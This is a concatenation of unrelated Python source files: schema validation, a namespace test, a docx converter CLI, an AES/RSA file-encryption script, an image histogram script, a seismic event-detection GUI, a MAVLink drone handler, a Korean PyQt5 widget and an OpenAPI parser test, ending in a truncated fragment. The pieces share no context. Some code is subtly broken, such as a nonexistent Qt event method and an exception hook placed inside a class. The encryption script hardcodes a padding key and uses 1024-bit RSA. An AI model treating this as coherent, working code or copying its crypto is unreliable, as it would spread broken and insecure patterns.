# sortedDictionary = OrderedDict(sorted(dictionary.items(), key=operator.itemgetter(1), reverse = True))


import json

from marshmallow import Schema, fields, pre_load

class PersonSchema(Schema):
    name = fields.String(required=True)
    age = fields.Integer(required=True)

    @pre_load
    def fill_age(self, data, **kwargs):
        if 'age' not in data:
            data['age'] = 999
        return data

class DataEventSchema(Schema):
    persons = fields.Nested(PersonSchema, many=True)

#################################################################################
# FRONTEND
#################################################################################
def get_frontend_request() -> str:
    return """
            {
                "persons": [
                    {
                        "name": "Ivan",
                        "age": 12
                    },
                    {
                        "name": "Kola",
                        "age": 122
                    },
                    {
                        "name": "Petro"
                    }
                ]
            }
        """

#################################################################################
# BACKEND 1
#################################################################################
class Person:
    def __init__(self, name):
        self.name = name

    def __repr__(self):
        return str(self.name)

payload = json.loads(get_frontend_request())
data = DataEventSchema()
payload = data.loads(get_frontend_request())

print(payload)


from __future__ import print_function
from tmsyscall.unshare import unshare, CLONE_NEWPID, CLONE_NEWNS
from tmsyscall.mount import mount, list_mounts
import os
from tempfile import mkdtemp

def test_unshare():

    unshare(CLONE_NEWPID)
    child_pid = os.fork()
    tmp_dir = mkdtemp()
    if child_pid == 0:
        assert os.getpid() == 1
        unshare(CLONE_NEWNS)
        mount("tmpfs", tmp_dir, "tmpfs", 0, "size=16m")
        mount_info = [x for x in list_mounts() if x.target == tmp_dir]
        assert mount_info
    else:
        _, _ = os.waitpid(child_pid, 0)
        mount_info = [x for x in list_mounts() if x.target == tmp_dir]
        assert not mount_info


# coding: utf-8
"""
Command line interface (CLI)
============================

Overview
--------

This module defines the main command line interface (CLI).
"""
import sys

import click

import docx_utils
import docx_utils.flatten
from docx_utils import exceptions

@click.group(context_settings=(dict(terminal_width=120)))
@click.version_option(docx_utils.__version__)
def main():
    """Docx utilities"""

# fmt: off
@main.command(context_settings=(dict(terminal_width=120)))
@click.argument(
    "src_path",
    type=click.Path(exists=True, file_okay=True, dir_okay=False)
)
@click.argument(
    "dst_path",
    type=click.Path(exists=False, file_okay=True, dir_okay=False)
)
@click.option(
    "--on-error",
    type=click.Choice(["ignore", "strict"]),
    default="ignore",
    help="Control the way errors are handled when a part URI cannot be resolved",
)
@click.version_option(docx_utils.__version__)
# fmt: on
def flatten(src_path, dst_path, on_error):
    """
    Convert Open XML document to flat OPC format.

    \b
    src_path  Microsoft Office document to convert (.docx, .xlsx, .pptx)
    dst_path  Microsoft Office document converted into flat OPC format (.xml)
    """
    click.echo(u"Converting '{0}' to flat XML...".format(src_path))
    try:
        docx_utils.flatten.opc_to_flat_opc(src_path, dst_path, on_error=on_error)
    except exceptions.DocxUtilsException as exc:
        click.echo(u"Conversion of '{0}' failed:".format(src_path), err=True)
        click.echo(str(exc), err=True)
        sys.exit(1)
    else:
        click.echo(u"Conversion done: '{0}'.".format(dst_path))


__author__ = 'nc4sq'

import os.path
from Crypto.Hash import SHA256
from Crypto import Random
from Crypto.PublicKey import RSA
from Crypto.Cipher import AES

def pad(s):
    return s + b"\0" * (AES.block_size - len(s) % AES.block_size)

def secret_string(input_message, enc_input_key):
    message = input_message.encode()
    public_key = enc_input_key.publickey()
    enc_data = public_key.encrypt(message, 32)
    return enc_data
    # print(enc_data)
    # print(enc_input_key.decrypt(enc_data))

def encrypt(message, enc_input_key, key_size=256):
    key = str(enc_input_key)
    message = pad(message)
    iv = Random.new().read(AES.block_size)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    return iv + cipher.encrypt(message)

def decrypt(ciphertext, dec_input_key):
    key = str(dec_input_key)
    iv = ciphertext[:AES.block_size]
    cipher = AES.new(key, AES.MODE_CBC, iv)
    plaintext = cipher.decrypt(ciphertext[AES.block_size:])
    return plaintext.rstrip(b"\0")

def encrypt_file(enc_input_filename, enc_file_input_key):
    try:
        file = open(enc_input_filename, 'rb')
    except IOError:
        print('There was an error opening the file!')
        return False
    newKey = str(enc_file_input_key)
    if len(str(enc_file_input_key)) < 16:
        string_val = 'abcdabcdabcdabcd'
        newKey = enc_file_input_key + string_val
    key16 = newKey[0:16]
    # key = str.encode(key16)
    key = key16
    with open(enc_input_filename, 'rb') as f:
        plaintext = f.read()
    enc = encrypt(plaintext, key)
    with open(enc_input_filename + ".enc", 'wb') as f:
        f.write(enc)
        return True
    return False

def decrypt_file(dec_input_filename, dec_file_input_key):
    if not os.path.isfile(dec_input_filename):
        print('There was an error opening the file!')
        return False
    else:
        newKey = str(dec_file_input_key)
        if len(str(dec_file_input_key)) < 16:
            string_val = 'abcdabcdabcdabcd'
            newKey = dec_file_input_key + string_val
        key16 = newKey[0:16]
        # key = str.encode(key16)
        key = key16
        with open(dec_input_filename, 'rb') as f:
            ciphertext = f.read()
        dec = decrypt(ciphertext, key)
        with open("DEC_" + dec_input_filename[:-4], 'wb') as f:
            f.write(dec)
            return True
        return False

# if __name__ == '__main__':
random_generator = Random.new().read
key = RSA.generate(1024, random_generator)

print("Testing secret_string\n")
print(secret_string('my name is deepak', key))

print("Testing encrypt_file\n")
print(encrypt_file('test.txt', key))

print("Testing decrypt_file\n")
print(decrypt_file('test.txt.enc', key))


import numpy as np
import json
import os
import cv2
import matplotlib.pyplot as plt
gt_path = 'data/part1/gt.json'
images_path = 'data/part1/images'
IF_HSV = True

save_path = 'data/part1/results'

if not os.path.isdir(save_path):
    os.mkdir(save_path)

# We extract the data from our json
with open(gt_path) as f:
    gt = json.load(f)
annotations = gt['annotations']
categories = gt['categories']
skates = ['skate1', 'skate2']

k=1 # for graphic purposes only
plt.figure(figsize = (15, 10))

for skate in skates:
    image = cv2.imread(os.path.join(images_path, skate + '.jpg'), 1)
    if IF_HSV:
        image = cv2.cvtColor(image, cv2.COLOR_BGR2HSV)
    sub_annotations = [ann for ann in annotations if ann['image'] == skate] #we get only the appropriate skate annotations

    #Histogram settings
    histSize = 256 # number of bins
    histRange = [0, 256]
    colors = ['b', 'g', 'r']
    for ann in sub_annotations:
        if ann['category_id'] == 1: #category_id of a person
            #extract roi
            x, y, w, h = np.array(ann['bbox']).astype('int32')
            person = image[y: y+h, x: x+w]

            # we show the person
            plt.subplot(2, 2, k)
            plt.axis('off')
            if IF_HSV:
                plt.imshow(person)
            else:
                plt.imshow(cv2.cvtColor(person, cv2.COLOR_BGR2RGB))

            # we compute and plot our histograms on the same chart
            plt.subplot(2, 2, k+1)
            for channel, color in enumerate(colors):
                hist = cv2.calcHist([person], [channel], None, [histSize], histRange)
                plt.plot(hist, color)

            if IF_HSV:
                plt.legend(('Hue', 'Saturation', 'Value'))
            else:
                plt.legend(('Blue', 'Green', 'Red'))

            plt.axis('on')
            plt.xlabel('Number of bins')
            plt.ylabel('Number of pixels')
    k+=2

#we save our results
if IF_HSV:
    plt.savefig(os.path.join(save_path, 'Skate histograms HSV.jpg'))
else:
    plt.savefig(os.path.join(save_path, 'Skate histograms RGB.jpg'))

plt.show()


from matplotlib.backends.backend_tkagg import FigureCanvasTkAgg, NavigationToolbar2Tk
from matplotlib.figure import Figure
import matplotlib.pyplot as plt
import obspy
#import matplotlib
from obspy.signal.trigger import classic_sta_lta, plot_trigger, trigger_onset
import numpy as np
import socketio
from tkinter import *
from tkinter import ttk
from tkinter.filedialog import askopenfilename
from tkinter import filedialog as fd
from tkinter import messagebox as mb
from datetime import datetime
import numpy as np
import matplotlib
matplotlib.use('TkAgg')
#from matplotlib.backends.backend_tkagg import FigureCanvasTkAgg, NavigationToolbar2TkAgg
import multiprocessing
import time
import random
#from Tkinter import *

def conectarEvento():
    #se conecta al socket
    global f, a, b, line
    f = plt.Figure(figsize=(16, 8))
    a = f.add_subplot(211)
    dataFormat = [0]
    a.plot(dataFormat, 'k')
    #a.plot([1, 2 , 3], 'k')
    ymin, ymax = a.get_ylim()
    a.set_xlabel('Muestras [n]')
    b = f.add_subplot(212)
    dataFormat2 = [0]
    b.plot(dataFormat2, 'k')
    b.set_xlabel('Muestras [n]')
    b.axis('tight')
    plot()
    try:
        triggerOn   = triggerOnText.get()
        triggerOff  = triggerOffText.get()
        factorConversion = factorConversionText.get()
        nsta             = nstaText.get()
        nlta             = nltaText.get()
        if nsta=="" or nlta=="" or triggerOn=="" or triggerOff=="" or factorConversion=="":
            mb.showinfo("Información", "Debe ingresar los parámetros necesarios antes de Graficar")
        else:
            sio.connect('http://192.168.0.115:3000')

    except Exception:
            mb.showerror("Error", 'No se pudo conectar al servidor')

def desconectarEvento():
    #se conecta al socket
    mostrarRojo()
    try:
        sio.disconnect()
    except Exception:
            mb.showerror("Error", 'No se pudo desconectar del servidor')

def graficar(f):
    global canvas
    global toolbar
    #se intenta borrar la grafica en caso de que ya este dibujada en la interfaz
    #try:
        #canvas.get_tk_widget().pack_forget() # use the delete method here
        #toolbar.pack_forget()
    #except:
    #    pass

    canvas = FigureCanvasTkAgg(f, top_frame)

    canvas.get_tk_widget().pack(side="left", fill="both")
    canvas.draw()
    #raiz.after(500, graficar, f)

    toolbar = NavigationToolbar2Tk(canvas, bottom_frame)
    toolbar.update()
    canvas._tkcanvas.pack(side="left", fill="both")

def plot():
    global f,a,b,canvas, dataFormat
    canvas = FigureCanvasTkAgg(f, top_frame)
    canvas.draw()
    toolbar = NavigationToolbar2Tk(canvas, bottom_frame)
    toolbar.update()
    canvas.get_tk_widget().pack(side="left", fill="both")
    canvas._tkcanvas.pack(side="left", fill="both")

def updateplot():
    canvas.draw()

sio = socketio.Client()
global q, flag_evento
q = multiprocessing.Queue()
flag_evento = True

@sio.event
def connect():
    print('Im connected')
    mostrarVerde()
    sio.emit('event', 'Hola desde python')

@sio.event
def connect_error(data):
    print('Error')

@sio.on('new-event')
def new_data(data):
    frecuencia.configure(text='Frecuencia: '+ str(data['sampling_rate']) + ' Hz' , font=(12))
    global line, dataCache, data_temp, data_real, data_list, flag_evento
    #se obtienen los parametros ingresadors por el usuario
    triggerOn   = triggerOnText.get()
    triggerOff  = triggerOffText.get()
    factorConversion = factorConversionText.get()
    nsta             = nstaText.get()
    nlta             = nltaText.get()

    data_real = data['data']

    #se intenta ir guardando los datos
    try:
        data_list = np.concatenate([data_temp, data_real])
    except Exception:
        print("Error sin data 2")
        data_list=list()

    #longitud del dato a guardar
    n = int(float(nlta) * data['sampling_rate'])

    m = len(data_list)
    print(m)

    if m<n:
        data_temp = data_list
    else:
        #se intenta concatenar el valor guardado con los datos actuales

        dataFormat = np.array(data_list)
        dataFormat = dataFormat/float(factorConversion)

        cft = classic_sta_lta(dataFormat, int(float(nsta) * data['sampling_rate']), int(float(nlta) * data['sampling_rate']))

        try:
            on_of = trigger_onset(cft, float(triggerOn), float(triggerOff))
            print(on_of)

            #plot()
            #raiz.after(500, updateplot, cft, on_of, dataFormat)
            #graficar(f)
            global a, b, f
            #f = plt.Figure(figsize=(16, 8))
            #a = f.add_subplot(211)
            a.clear()
            a.plot(dataFormat, 'k')
            ymin, ymax = a.get_ylim()
            if (len(on_of))>0:
                if flag_evento:
                    mostrarHora()
                flag_evento = False
                mostrarRojo()
                a.vlines(on_of[:, 0], ymin, ymax, color='r', linewidth=2)
                a.vlines(on_of[:, 1], ymin, ymax, color='b', linewidth=2)
            else:
                mostrarVerde()
                if not flag_evento:
                    duracion()
                flag_evento = True

            a.set_xlabel('Muestras [n]')
            #b = f.add_subplot(212)
            b.clear()
            b.plot(cft, 'k')
            b.hlines([float(triggerOn), float(triggerOff)], 0, len(cft), color=['r', 'b'], linestyle='--')
            b.set_xlabel('Muestras [n]')
            #b.axis('tight')

            #raiz.after(500, graficar, f)
            #time_cache = int(2 * data['sampling_rate'])

            #data_list = np.concatenate([dataCache, data_list])
            if (len(data_list)>n*2):
                time_cache = int(2 * data['sampling_rate'])
                data_list = data_list[time_cache:len(data_list)]

            #time_cache = int(2 * data['sampling_rate'])
            #data_list = data_list[time_cache:len(data_list)]

            data_temp = data_list

            raiz.after(100, updateplot)

        except Exception:
            print("Error")

def mostrarVerde():
    Label(miFrame, image=miImagen1).grid(row=1, column=12, rowspan=4, padx=10, pady=50)

def mostrarRojo():
    Label(miFrame, image=miImagenLed).grid(row=1, column=12, rowspan=4, padx=10, pady=50)

def mostrarHora():
    archi1=open('eventos.txt', "a", encoding="utf-8")
    archi1.write('\n' + datetime.now().strftime('%H:%M:%S'))
    archi1.close()
    data.configure(text='Hora último evento: '+ datetime.now().strftime('%H:%M:%S') , font=(12))

def duracion():
    archi1=open('eventos.txt', "a", encoding="utf-8")
    archi1.write(' ' + datetime.now().strftime('%H:%M:%S'))
    archi1.close()

#---------------------#Interfaz------------------------------------------------
raiz=Tk()

raiz.title("RSADE-RT")
raiz.attributes('-zoomed', True)

#Se crea el frame
miFrame=Frame()

#se empaueta el frame y este se acomoda al tamano de la ventana
miFrame.pack(fill="both", expand="True")

top_frame = Frame(raiz)
top_frame.pack(side="top", fill="both", expand=True)
bottom_frame = Frame(raiz)
bottom_frame.pack(side="top", fill="both", expand=True)

#-----------------------------Titulos----------------------
## Titulo de la lista desplegable
Label(miFrame, text="Algoritmo de Detección", font=(20)).grid(row=1, column=1, padx=10, pady=10)

## Titulo de parametros
parametrosTitle=Label(miFrame, text="Parámetros del Algoritmo", font=(20))

#canalTitle=Label(miFrame, text="Canal:", font=(18))

nstaTitle=Label(miFrame, text="NSTA (segundos):", font=(18))
## Titulo de NLTA
nltaTitle=Label(miFrame, text="NLTA (segundos):", font=(18))
## Titulo de Triger On
triggerOnTitle=Label(miFrame, text="TRIGGER_ON:", font=(18))
## Titulo de Triger Off
triggerOffTitle=Label(miFrame, text="TRIGGER_OFF:", font=(18))
## Titulo de Ingresar hora inicio
#hInicioTitle=Label(miFrame, text="Hora Inicio:", font=(18))
## Titulo de Ingresar hora fin
#hFinTitle=Label(miFrame, text="Hora Fin:", font=(18))

## Titulo de factor de conversion
factorCTitle=Label(miFrame, text="Factor de conversión:", font=(18))

# ---------------Inputs-----------------------------

#input del canal
#canal=Entry(miFrame, width=10)

## data del archivo seleccionado
data=Label(miFrame, text="", font=(12))
data.grid(row=6, column=5, columnspan=7)

## data del archivo seleccionado
frecuencia=Label(miFrame, text="", font=(12))
frecuencia.grid(row=6, column=1)

#global nstaText, nltaText, triggerOnText, triggerOffText, horaInicio, horaFin

nstaText=Entry(miFrame, width=10)
#nstaText.grid(row=2, column=3)

#NLTA input
nltaText=Entry(miFrame, width=10)
#nltaText.grid(row=2, column=5)

#Trigger On
triggerOnText=Entry(miFrame, width=10)
#triggerOnText.grid(row=3, column=3)

#Trigger Off
triggerOffText=Entry(miFrame, width=10)
#triggerOffText.grid(row=3, column=5)

#Hora Inicio
#horaInicio=Entry(miFrame, width=10)
#horaInicio.grid(row=2, column=7)

#Hora Fin
#horaFin=Entry(miFrame, width=10)
#horaFin.grid(row=3, column=7)

factorConversionText=Entry(miFrame, width=10)

#========================== Para emtros iniciales
nstaText.insert(0,'40')
nltaText.insert(0,'70')
triggerOnText.insert(0,'1.15')
triggerOffText.insert(0,'0.85')
factorConversionText.insert(0,'1')

#--------------------Botones----------------

# Boton para Seleccionar Archivo
conectarBtn = Button(miFrame, text="Conectar", command=conectarEvento, bg='#0D225F', fg="white", activebackground='#163aa2', activeforeground='white')
# Boton Graficar Eventos seleccionarArchivo
#graficarEventosBtn=Button(miFrame, text="Graficar Eventos", command=graficarEvento, bg='#0D225F', fg="white", activebackground='#163aa2', activeforeground='white')

# Boton Obtener Eventos
desconectarBtn=Button(miFrame, text="Desconectar", command=desconectarEvento, bg='#0D225F', fg="white", activebackground='#163aa2', activeforeground='white')

# Boton para extraer archivo miniSeed
#obtenerMiniSeedBtn=Button(miFrame, text="Obtener miniSeed", command=guardarMiniSeed , bg='#0D225F', fg="white", activebackground='#163aa2', activeforeground='white')

parametrosTitle.grid(row=1, column=2, padx=10, pady=10, columnspan=5)

## Titulo de NSTA
nstaTitle.grid(row=2, column=2, padx=10, pady=10)
## Titulo de NLTA
nltaTitle.grid(row=2, column=4, padx=10, pady=10)
## Titulo de Triger On
triggerOnTitle.grid(row=3, column=2, padx=10, pady=10)
## Titulo de Triger Off
triggerOffTitle.grid(row=3, column=4, padx=10, pady=10)
## Titulo de Ingresar hora inicio
#hInicioTitle.grid(row=2, column=8, padx=10, pady=10)
## Titulo de Ingresar hora fin
#hFinTitle.grid(row=3, column=8, padx=10, pady=10)

factorCTitle.grid(row=5, column=1, padx=10, pady=10)
factorConversionText.grid(row=5, column=2, padx=10, pady=10)

#NSTA input
#nstaText=Entry(miFrame)
nstaText.grid(row=2, column=3)

#NLTA input
#nltaText=Entry(miFrame)
nltaText.grid(row=2, column=5)

#Trigger On
#triggerOnText=Entry(miFrame)
triggerOnText.grid(row=3, column=3)

#Trigger Off
#triggerOffText=Entry(miFrame)
triggerOffText.grid(row=3, column=5)

#Hora Inicio
#horaInicio=Entry(miFrame)
#horaInicio.grid(row=2, column=9)

#Hora Fin
#horaFin=Entry(miFrame)
#horaFin.grid(row=3, column=9)

#canal
#canalTitle.grid(row=5, column=6)
#canal.grid(row=5, column=7)

#--------------------Botones----------------

# Boton para Seleccionar Archivo
conectarBtn.grid(row=4, column=1, padx=50, pady=10)
# Boton Graficar Eventos seleccionarArchivo
desconectarBtn.grid(row=4, column=3, padx=50, pady=10)

# Boton Obtener Eventos
#obtenerEventosBtn.grid(row=5, column=4, padx=50, pady=10)

# Boton para extraer archivo miniSeed
#obtenerMiniSeedBtn.grid(row=5, column=5, padx=50, pady=10)

#-------------------------Imagenes--------------------------------------------

miImagen = PhotoImage(file="ucuenca.png")
imagen_sub = miImagen.subsample(4)
miImagen = imagen_sub
Label(miFrame, image=miImagen).grid(row=1, column=14, rowspan=4, padx=10, pady=50, columnspan=5)

led = PhotoImage(file="verde.png")
imagen_sub1 = led.subsample(8)
miImagen1 = imagen_sub1

ledRojo = PhotoImage(file="rojo.png")
imagen_sub2 = ledRojo.subsample(6)
miImagenLed = imagen_sub2

raiz.mainloop()

#st = obspy.read("200428000000-CH0.mseed")[0]

#t = st.stats.starttime
#t1 = t + 3600 * 13
#t1 = t
#t2 = t + 3600 * 13
#t2 = st.stats.endtime
#trace = st.trim(t1,t2)
#trace = st
#print(trace.data)
#trace.data = trace.data/6553.6
#print(trace.data)
#trace.filter('bandpass', freqmin = 5, freqmax = 20)
#df = trace.stats.sampling_rate

#cft = classic_sta_lta(trace.data, int(10 * df), int(70 * df))
#on_of = trigger_onset(cft, 1.15, 0.5)
#print(trace.stats)
#print(trace.data)
#print(on_of)
#np.savetxt("eventosp10.txt", on_of)
#plot_trigger(trace, cft, 1.15, 0.5)


from .swarmclient import SwarmClient
from .swarmmanager import SwarmManager
from .udpserver import UDPServer
from .commcodes import coco

from . import onedrone as mavlink

import struct
import logging
import socket
import threading
import time

logger = logging.getLogger(__name__)

#from pymavlink.dialects.v20 import ardupilotmega as mavlink2

class Mavpacker(object):

    def __init__(self, udpserver : UDPServer):
        self.output = open('mavpacker.log','wb')
        self.mav = mavlink.MAVLink(self.output)
        self.mav.robust_parsing= True
        self.udp_server = udpserver
        self.client = None

    def __del__(self):
        self.output.close()

    def check_client(self, client: SwarmClient):
        self.client = client
        packet_buffer=client.packet_buffer
        packet_buffer.process_packet_buffer()
        if (not len(packet_buffer.stream_buffer)):
            return
        packet_buffer.stream_buffer_lock.acquire()
        self.mav.buf = packet_buffer.stream_buffer
        self.mav.buf_index = 0
        self.parse_mav_buffer()

        #remove buffer elements that have been already parsed
        packet_buffer.stream_buffer = self.mav.buf[self.mav.buf_index:]
        packet_buffer.stream_buffer_lock.release()

    def parse_mav_buffer(self):
        continue_parsing = True
        old_buf_index = 0
        while continue_parsing:
            try:
                msg = self.mav.parse_char('')
                if msg:
                    self.handle_mav_msg(msg)
                elif msg ==None :
                    if self.mav.buf_index and (old_buf_index != self.mav.buf_index) :
                        logger.info(f'MAVPACK | Dropping bad data because of No MAVLINK Message:{self.mav.buf[old_buf_index]}')

            except mavlink.MAVError:
                self.mav.buf_index =old_buf_index + 1
                logger.info(f'MAVPACK | Dropping bad data because of MAVError:{self.mav.buf[old_buf_index]}')

            #check if end condition is met
            if old_buf_index == self.mav.buf_index:
                continue_parsing= False
            else:
                old_buf_index = self.mav.buf_index

    def handle_mav_msg(self, msg):
            client =  self.client

            if msg.get_msgId() == -1 : # Bad Data!
                logger.debug(f'MAVPACK | Dropping data because of BAD DATA Mavlink Message:{msg.get_msgbuf()}')
            else:
                if msg._header.srcSystem == client.id:
                    client.mav_id_correct = True
                    self.udp_server.publish_via_udp(msg.get_msgbuf())
                    try:
                        logger.info(f'MAVPACK | Sending as SrcSystem {msg._header.srcSystem} via upd: {msg.to_json()}')
                    except TypeError:
                        logger.debug(f'MAVPACK | Sending via udp RAW {msg.get_msgbuf()}')

                else:
                    logger.warning(f'MAVPACKER|  Client #{client.id:04x} tried to send as #{msg._header.srcSystem:02x} MSG: {msg.to_json()}')
                    client.mav_id_correct = False
                    self.set_client_id(client)

    def set_client_id(self, client:SwarmClient):

        if time.time() - client.mav_id_request_sent > 2:
            logger.debug(f'MAVPACKER| Setting Client ID for Client #{client.id:04x}')

            # send new SYSID
            param_id= b"SYSID_THISMAV"
            param_value = client.id / 1.0
            param_type = mavlink.MAV_PARAM_TYPE_INT16
            msg = self.mav.param_set_encode(0, 0, param_id, param_value, param_type)
            client.tx_lock.acquire()
            client.tx_buffer = bytearray(msg.pack(self.mav))
            client.tx_lock.release()

            #request reboot
            msg = self.mav.command_long_encode(0, 0, mavlink.MAV_CMD_PREFLIGHT_REBOOT_SHUTDOWN, 0, 1, 1, 0, 0, 0, 0, 0)

            client.tx_lock.acquire()
            client.tx_buffer += bytearray(msg.pack(self.mav))
            client.tx_lock.release()

            client.mav_id_request_sent = time.time()
        else:
            logger.debug(f'MAVPACKER | Not sending MAV ID request again')

    def request_client_id(self, client:SwarmClient):
        param_id= b"SYSID_THISMAV"
        param_index = 1
        msg = self.mav.param_request_read_encode(0,0,param_id, param_index)
        client.tx_lock.acquire()
        client.tx_buffer += msg.pack(self.mav)
        client.tx_lock.release()

    def request_parameters(self, client:SwarmClient):
        logger.info('MAVPACK | Requesting parameters')
        msg = self.mav.MAVLink_param_request_list_message(0,0)
        client.tx_lock.acquire()
        client.tx_buffer += msg.pack(self.mav)
        client.tx_lock.release()


from PyQt5.QtWidgets import *
from PyQt5 import uic
from PyQt5.QtGui import QIcon
from PyQt5.QtCore import Qt, QSize
from func.info.info_main import InfoMain

import sys
import configparser
from module.mysql import ReadMysqlData

config = configparser.ConfigParser()
config.read('./static/config.ini')
geometry = config['GEOMETRY']

FROM_CLASS = ''
if geometry['type'] == 'length':
    FROM_CLASS = uic.loadUiType('./static/uiMain/ui_widgets_length.ui')[0]

elif geometry['type'] == 'width':
    FROM_CLASS = uic.loadUiType('./static/uiMain/ui_widgets_width.ui')[0]

class ReiMain(QMainWindow, FROM_CLASS):
    def __init__(self):
        super().__init__()

        self.sys_value = ReadMysqlData().read_system_value()
        self.syscheck()

        self.form_settings = config['FORM']
        self.opacity = int(self.form_settings['opacity'])

        self.setupUi(self)
        self.setWindowOpacity(self.opacity/100)
        self.set_position(geometry['type'], geometry['position'])

        self.ui_setting()
        self.setWindowFlags(Qt.FramelessWindowHint | Qt.WindowStaysOnTopHint)

    def syscheck(self):
        ver = "0.1"
        version = self.sys_value[0]
        block = self.sys_value[1]
        block_msg = self.sys_value[2]

        if block:
            self.msg("warning", "경고", "관리자에 의하여 차단된 프로그램입니다.\n\nmsg: " + block_msg)
            exit()

        elif ver != version:
            self.msg("info", "정보", "새로운 버전이 업데이트 되었습니다. \n\n확인 버튼을 누르시면 다운로드가 시작툅니다.")

    # UI 세팅
    def ui_setting(self):
        self.slider.setValue(self.opacity)
        self.slider.valueChanged.connect(self.opacity_slider)

        self.bt_exit.setIcon(QIcon('../../static/img/button/exit.png'))
        self.bt_exit.setIconSize(QSize(22, 22))
        self.bt_exit.clicked.connect(self.clicked_exit)

        self.bt_max.setIcon(QIcon('../../static/img/button/maximize.png'))
        self.bt_max.setIconSize(QSize(13, 13))
        self.bt_max.clicked.connect(self.clicked_max_mini)

        self.bt_menu.setIcon(QIcon('../info/resources/img/menu_icon.png'))
        self.bt_menu.setIconSize(QSize(12, 12))
        self.bt_menu.clicked.connect(self.clicked_menu)

        self.bt_info.clicked.connect(self.clicked_info)

    # 투명도 세팅
    def opacity_slider(self, val):
        self.setWindowOpacity(val/100)
        self.form_settings['opacity'] = str(val)

    # 포지션 세팅
    def set_position(self, ty, pos):
        qr = self.frameGeometry()
        cp = QDesktopWidget().availableGeometry().center()
        desktop_height = QDesktopWidget().availableGeometry().height()
        desktop_width = QDesktopWidget().availableGeometry().width()
        qr.moveCenter(cp)
        result_x, result_y = '', ''

        if ty == 'length': self.setGeometry(0, 0, 80, 300)
        elif ty == 'width': self.setGeometry(0, 0, 275, 85)

        if pos == 'free': result_x, result_y = int(geometry['x']), int(geometry['y'])
        elif pos == 'center': result_x, result_y = qr.topLeft().x(), qr.topLeft().y()
        elif pos == 'top': result_x, result_y = qr.topLeft().x(), 0
        elif pos == 'bot': result_x, result_y = qr.topLeft().x(), desktop_height - self.height()
        elif pos == 'left_top': result_x, result_y = 0, 0
        elif pos == 'left_mid': result_x, result_y = 0, qr.topLeft().y()
        elif pos == 'left_bot': result_x, result_y = 0, desktop_height - self.height()
        elif pos == 'right_top': result_x, result_y = desktop_width - self.width(), 0
        elif pos == 'right_mid': result_x, result_y = desktop_width - self.width(), qr.topLeft().y()
        elif pos == 'right_bot': result_x, result_y = desktop_width - self.width(), desktop_height - self.height()

        self.move(result_x, result_y)

    # Exit 버튼
    def clicked_exit(self):
        with open('../../static/val/config.ini', 'w') as configfile:
            config.write(configfile)
        app.exit()

    # 메뉴 버튼
    def clicked_menu(self):
        return

    # 최소화 버튼
    def clicked_max_mini(self):
        self.showMinimized()
        return

    # 건축물 조회 버튼
    def clicked_info(self):
        self.qwe = InfoMain()
        self.qwe.show()

    # 메세지 함수
    def msg(self, ty, title, content):
        if ty == "basic":
            QMessageBox.about(self, title, content)
        elif ty == "info":
            QMessageBox.information(self, title, content, QMessageBox.Ok)
        elif ty == "warning":
            QMessageBox.warning(self, title, content, QMessageBox.Ok)
        elif ty == "critical":
            QMessageBox.critical(self, title, content, QMessageBox.Ok)

    # 폼 이동 이벤트
    def mousePressEvent(self, event):
        if event.btn_modify() == Qt.LeftButton:
            self.offset = event.pos()
        else:
            super().mousePressEvent(event)

    def mouseMoveEvent(self, event):
        try:
            desktop_height = QDesktopWidget().availableGeometry().height()
            desktop_width = QDesktopWidget().availableGeometry().width()

            if self.offset is not None and event.buttons() == Qt.LeftButton:
                pos = self.pos() + event.pos() - self.offset

                # 우측
                if (desktop_width - self.width() + 15) > pos.x() > (desktop_width - self.width() - 15):
                    if pos.y() < 10:
                        self.move(desktop_width - self.width(), 0)
                    elif (desktop_height - self.height() + 15) > pos.y() > (desktop_height - self.height() - 15):
                        self.move(desktop_width - self.width(), desktop_height - self.height())
                    else:
                        self.move(desktop_width - self.width(), pos.y())
                    return

                # 좌측
                if -15 < pos.x() < 15:
                    if pos.y() < 10:
                        self.move(0, 0)
                    elif (desktop_height - self.height() + 15) > pos.y() > (desktop_height - self.height() - 15):
                        self.move(0, desktop_height - self.height())
                    else:
                        self.move(0, pos.y())
                    return

                # 상단
                if (desktop_height - self.height() + 15) > pos.y() > (desktop_height - self.height() - 15):
                    self.move(pos.x(), desktop_height - self.height())
                    return

                # 하단
                if pos.y() < 15:
                    self.move(pos.x(), 0)
                    return

                self.move(pos)
            else:
                super().mouseMoveEvent(event)
        except AttributeError:
            return

    def mouseReleaseEvent(self, event):
        self.offset = None
        super().mouseReleaseEvent(event)

    # 예외 오류 처리
    def my_exception_hook(exctype, value, traceback):
        print(exctype, value, traceback)
        sys._excepthook(exctype, value, traceback)

    sys._excepthook = sys.excepthook
    sys.excepthook = my_exception_hook

if __name__ == '__main__':
    app = QApplication(sys.argv)
    form = ReiMain()
    form.show()
    app.exec_()


from typing import Any
from unittest.mock import MagicMock

import pytest

from openapi_parser.builders import ContentBuilder, RequestBuilder
from openapi_parser.enumeration import DataType
from openapi_parser.specification import Content, ContentType, Object, Property, RequestBody, String

def _get_content_builder_mock(expected_value: Any) -> ContentBuilder:
    mock_object = MagicMock()
    mock_object.build_list.return_value = expected_value

    return mock_object

content_schema = [
    Content(
        type=ContentType.JSON,
        schema=Object(
            type=DataType.OBJECT,
            properties=[
                Property(name="login", schema=String(type=DataType.STRING))
            ]
        )
    )
]

extended_content_schema = [
    Content(
        type=ContentType.JSON,
        schema=Object(
            type=DataType.OBJECT,
            properties=[
                Property(name="login", schema=String(type=DataType.STRING))
            ]
        )
    ),
    Content(
        type=ContentType.FORM,
        schema=Object(
            type=DataType.OBJECT,
            properties=[
                Property(name="login", schema=String(type=DataType.STRING))
            ]
        )
    ),
]

data_provider = (
    (
        {
            "content": {
                "application/json": {
                    "schema": {
                        "type": "object",
                        "properties": {
                            "login": {
                                "type": "string",
                            }
                        }
                    },
                },
            }
        },
        RequestBody(content=content_schema),
        _get_content_builder_mock(content_schema)
    ),
    (
        {
            "description": "user to add to the system",
            "content": {
                "application/json": {
                    "schema": {
                        "type": "object",
                        "properties": {
                            "login": {
                                "type": "string",
                            }
                        }
                    },
                },
                "application/x-www-form-urlencoded": {
                    "schema": {
                        "type": "object",
                        "properties": {
                            "login": {
                                "type": "string",
                            }
                        }
                    },
                }
            }
        },
        RequestBody(
            description="user to add to the system",
            content=extended_content_schema
        ),
        _get_content_builder_mock(extended_content_schema)
    ),
)

@pytest.mark.parametrize(['data', 'expected', 'content_builder'], data_provider)
def test_build(data: dict, expected: RequestBody, content_builder: ContentBuilder):
    builder = RequestBuilder(content_builder)

    assert expected == builder.build(data)


import requests, json
import os
import time

os.system(f'mode 55,10')
